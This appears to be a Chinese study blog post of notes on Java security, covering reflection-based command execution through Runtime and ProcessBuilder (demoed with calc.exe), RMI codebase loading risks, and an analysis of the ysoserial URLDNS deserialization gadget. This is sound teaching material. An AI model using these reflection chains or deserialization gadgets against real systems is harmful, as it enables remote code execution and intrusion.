JAVA安全漫談1-8筆記


一.反射篇1

classloader就是java的類加載器,告訴虛擬機如何加載這個類。默認情況下根據類名來加載類,類名必須是完整路徑

public class class_init {

    {
        System.out.println("123");
    }
    static {
        System.out.println("456");


    }
    public class_init(){
        System.out.println("789");

    }
    public static void main(String[] args){
        class_init n = new class_init();
    }
}

{}括號里的是初始化塊,這里面的代碼在創建java對象時執行,而且在構造器之前執行!其實初始化塊就是構造器的補充,初始化快是不能接收任何參數的,定義的一些所有對象共有的屬性、方法等內容時就可以用初始化塊了初始化!好處是可以提高初始化塊的復用,提高整個應用的可維護性。

public class class_init {

    {
        System.out.println("123");
    }
    static {
        System.out.println("456");


    }
    public class_init(){
        System.out.println("789");

    }
    public static void main(String[] args) throws ClassNotFoundException {
        class_init n = new class_init();
        Class a = Class.forName("a");
        System.out.println(a);
    }
}
class a{

    static{
        System.out.println("1111");
    }
    public a(){
        System.out.println("2222");
    }
}

 通過調用class.forname可以得到一個類類型的對象,其中就是得到了a類,此時將會自動初始化該類的對象,因此會調用static代碼塊的內容

public void ref(String name) throws Exception {   
 Class.forName(name);
 }

那么對於上面這段代碼,如果入口參數String name可控的話,我們就可以反射任意類,那么如果此時類里的static代碼塊是惡意代碼則會造成危害。

 二.反射篇二

Class clazz = Class.forName("java.lang.Runtime"); 
clazz.getMethod("exec", String.class).invoke(clazz.newInstance(), "id");

通過以上的代碼來反射執行id是不可以的,因為runtime類的構造函數是私有的,所以newInstance是不成功的,當然當一個類沒有無參的構造函數時也不能夠成功。

runtime類的構造函數設置為私有是因為該類的設計模式為單例模式,意思就是該類全局模式只能有一個實例,其余的只能通過該類的對象來調用其方法。

Class clazz = Class.forName("java.lang.Runtime"); 
clazz.getMethod("exec",String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz), "calc.exe");

所以這里上面這段經常用的利用反射來執行命令的代碼就很好理解了,首先通過forname來或取runtime類,然后調用getmethod來獲取exec函數,但是exec函數有多個函數重載,因此要調用入口參數為string類型的構造函數,因此這里getmethod,第二個參數為String.class,然后調用invoke函數,invoke又需要類runtime的對象,而runtime類又是單例模式,因此通過getmethod傳入getruntime同時調用invoke來返回runtime類的對象,這樣一條鏈就很容易理解了。

Class clazz = Class.forName("java.lang.Runtime"); 
Method execMethod = clazz.getMethod("exec", String.class); 
Method getRuntimeMethod = clazz.getMethod("getRuntime");
Object runtime = getRuntimeMethod.invoke(clazz); execMethod.invoke(runtime, "calc.exe");

 三.反射篇三

因為之前通過runtime類來執行命令我們已經知道其有getruntime靜態方法來返回runtime類的對象,所以有個問題:

1.如果一個類沒有無參構造方法,也沒有類似單例模式里的靜態方法,我們怎樣通過反射實例化該類呢?

因為我們知道一般實例化一個類,可以用class.newInstance(),它的作用就是調用這個類的無參構造函數,所以不可用的時候要么該類的構造函數是私有的,要么該類就沒有無參的構造函數。

所以新介紹了一個getconstructor()函數,這個函數的入口參數是構造函數的參數列表類型,因此通過其就可以調用該類的任意構造函數,並且獲取到構造函數以后可以通過newinstance()函數來執行

因為processBuilder類有兩個構造函數,因此通過getconstructor調用時入口參數類型也不同

public class fanshe3 {

    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
        Class clazz = Class.forName("java.lang.ProcessBuilder");
        clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe")));


    }
}

入口為List類型,因此傳入List.class,然后調用newInstance來執行,並且此時newInstance的入口參數即為傳入的要執行的命令,此時為list類型的值為calc.exe

 另一種則是String類型的這里的...是可變參數,也就是說函數參數個數是可變的,java在編譯的時候實際上會將其當做一個數組,所以這里傳入newInstance的入口參數是一個二維數組

 因為newInstance函數的入口參數也是可變參數類型的,因此要用String[]{},又因為processbuilder的構造函數的入口參數也是可變參數類型,因此疊加一個數字,即為String[][]{{“calc.exe”}}

public class fanshe3 {

    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
        Class clazz = Class.forName("java.lang.ProcessBuilder");
        clazz.getMethod("start").invoke(clazz.getConstructor(String[].class).newInstance(new String[][]{{"calc.exe"}}));


    }
}

 還有一個問題:

2.如果一個方法或構造方法是私有方法,我們是否能執行它呢?

getmethod是獲取類中的公有方法以及從父類繼承過來的方法

getDeclaredMethod 系列方法獲取的是當前類中“聲明”的方法,是實在寫在這個類里的,包括私有的方法,但從父類里繼承來的就不包含了

getDeclareMethod和getMethod的用法類似,getconstructor和getDeclareConstructor的用法類似,那么此時我們就可以用getDeclareConstructor來獲取私有構造方法來實例化對象了

public class fanshe3 {

    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
       Class clazz = Class.forName("java.lang.Runtime");
        Constructor m = clazz.getDeclareConstructor();
        m.setAccessible(true);
        clazz.getMethod("exec",String.class).invoke(m.newInstance(),"calc.exe");
        

    }
}

 這里拿到構造函數以后還需要設置一下作用域才可以使用私有的構造函數,否則還是不可用。

 四.rmi篇4-6

1.這三篇主要讀完只要記得rmi client和rmi registry 、 rmi server是如何通信的即可,服務器注冊rmi服務,將對象與name綁定,客戶端通過lookup在rmi registry中尋找要加載遠程對象,然后再發起請求從rmi server上調用方法。

RMI的流程中,客戶端和服務端之間傳遞的是一些序列化后的對象,這些對象在反序列化時,就會去尋找類。如果某一端反序列化時發現一個對象,那么就會去自己的CLASSPATH下尋找想對應的類;如果在 本地沒有找到這個類,就會去遠程加載codebase中的類。當然如果codebase被控制了,那么就可以自己起一個rmi服務器,使目標服務器加載惡意對象。

當然rmi服務器只有滿足一下兩個條件才能被攻擊:

安裝並配置了SecurityManager

Java版本低於7u21、6u45,或者設置了 java.rmi.server.useCodebaseOnly=false (設置為true以后就不能加載遠程的codebase了

五.反序列化篇7-8

1.java在序列化對象時,將會調用該對象的writeObject方法,參數類型是ObjectOutputStream,開發者可以將任何內容寫入到該stream中,反序列化的時候,會調用readObject()方法,能夠讀取出寫入的內容。而寫入的值實際上是在objectAnnotation這個變量中

2.關於URLDNS的反序列化鏈

 

 打開ysoserial的源碼找到payloads/URLDNS,里面就有對該payloads的描述,可以看到如上圖所示的gadget,很簡單,和剛入門就分析commom collections比的確少了很多很多。。。

public class URLDNS implements ObjectPayload<Object> {

        public Object getObject(final String url) throws Exception {

                //Avoid DNS resolution during payload creation
                //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
                URLStreamHandler handler = new SilentURLStreamHandler();

                HashMap ht = new HashMap(); // HashMap that will contain the URL
                URL u = new URL(null, url, handler); // URL to use as the Key
                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

                Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

                return ht;
        }

        public static void main(final String[] args) throws Exception {
                PayloadRunner.run(URLDNS.class, args);
        }

        /**
         * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
         * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
         * using the serialized object.</p>
         *
         * <b>Potential false negative:</b>
         * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
         * second resolution.</p>
         */
        static class SilentURLStreamHandler extends URLStreamHandler {

                protected URLConnection openConnection(URL u) throws IOException {
                        return null;
                }

                protected synchronized InetAddress getHostAddress(URL u) {
                        return null;
                }
        }

其中注釋里已經對該payload做了簡單的解釋,讀一讀也能大概明白構造的基本原理

首先ysoserial會調用URLDNS類的getObject方法來獲取該payload,這個方法實際上返回的是一個對象,此時由代碼中我們可以看到這個對象實際上是一個hashmap的對象。又因為反序列化會調用類的readobject函數,所以如果把hashmap作為要反序列化的對象,將會調用其readObject方法,因此此時我們跟進其看看

    private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
        s.defaultReadObject();
        this.reinitialize();
        if (this.loadFactor > 0.0F && !Float.isNaN(this.loadFactor)) {
            s.readInt();
            int mappings = s.readInt();
            if (mappings < 0) {
                throw new InvalidObjectException("Illegal mappings count: " + mappings);
            } else {
                if (mappings > 0) {
                    float lf = Math.min(Math.max(0.25F, this.loadFactor), 4.0F);
                    float fc = (float)mappings / lf + 1.0F;
                    int cap = fc < 16.0F ? 16 : (fc >= 1.07374182E9F ? 1073741824 : tableSizeFor((int)fc));
                    float ft = (float)cap * lf;
                    this.threshold = cap < 1073741824 && ft < 1.07374182E9F ? (int)ft : 2147483647;
                    SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Entry[].class, cap);
                    HashMap.Node<K, V>[] tab = new HashMap.Node[cap];
                    this.table = tab;

                    for(int i = 0; i < mappings; ++i) {
                        K key = s.readObject();
                        V value = s.readObject();
                        this.putVal(hash(key), key, value, false, false);
                    }
                }

            }
        } else {
            throw new InvalidObjectException("Illegal load factor: " + this.loadFactor);
        }
    }

這里關注上面readObject函數中紅色部分,這里調用putVal函數,其中對hashmap的鍵做了hash,這里關注hash的原因是payloads注釋中說明了

During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

 

 所以這里實際上是會調用hashmap當前鍵的hashCode方法,所以如果我們傳入URL類的對象,那么自然會調用URL類的hashCode,跟進去看看

 因為在payload中已經設置了hashcode=-1,所以此時調用this.handler的hashcode,跟進發現hanler是URLStreamHandler類的對象,其用關鍵字transient修飾,就是在序列化的過程中,該成員變量不參與

 

 繼續跟進該類,

 

 這里將會調用getHostAddress函數,當然前面getProtocol只要其能夠過就行,不需要管,跟進

 這里InetAddress.getByName實際上就是根據主機名獲取器ip地址,說明到此時gadget已經執行完畢了,整條鏈很清晰~

 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM